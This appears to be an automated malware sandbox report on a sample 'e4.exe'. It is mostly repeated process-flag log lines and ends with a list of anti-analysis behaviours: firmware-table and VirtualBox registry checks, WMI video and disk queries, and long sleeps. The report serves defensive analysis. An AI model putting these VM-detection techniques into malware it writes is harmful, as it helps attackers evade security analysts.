Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\UpSys.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\UpSys.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\e4.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\e4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\e4.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\e4.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\e4.exe TID: 5804	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe TID: 5768	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
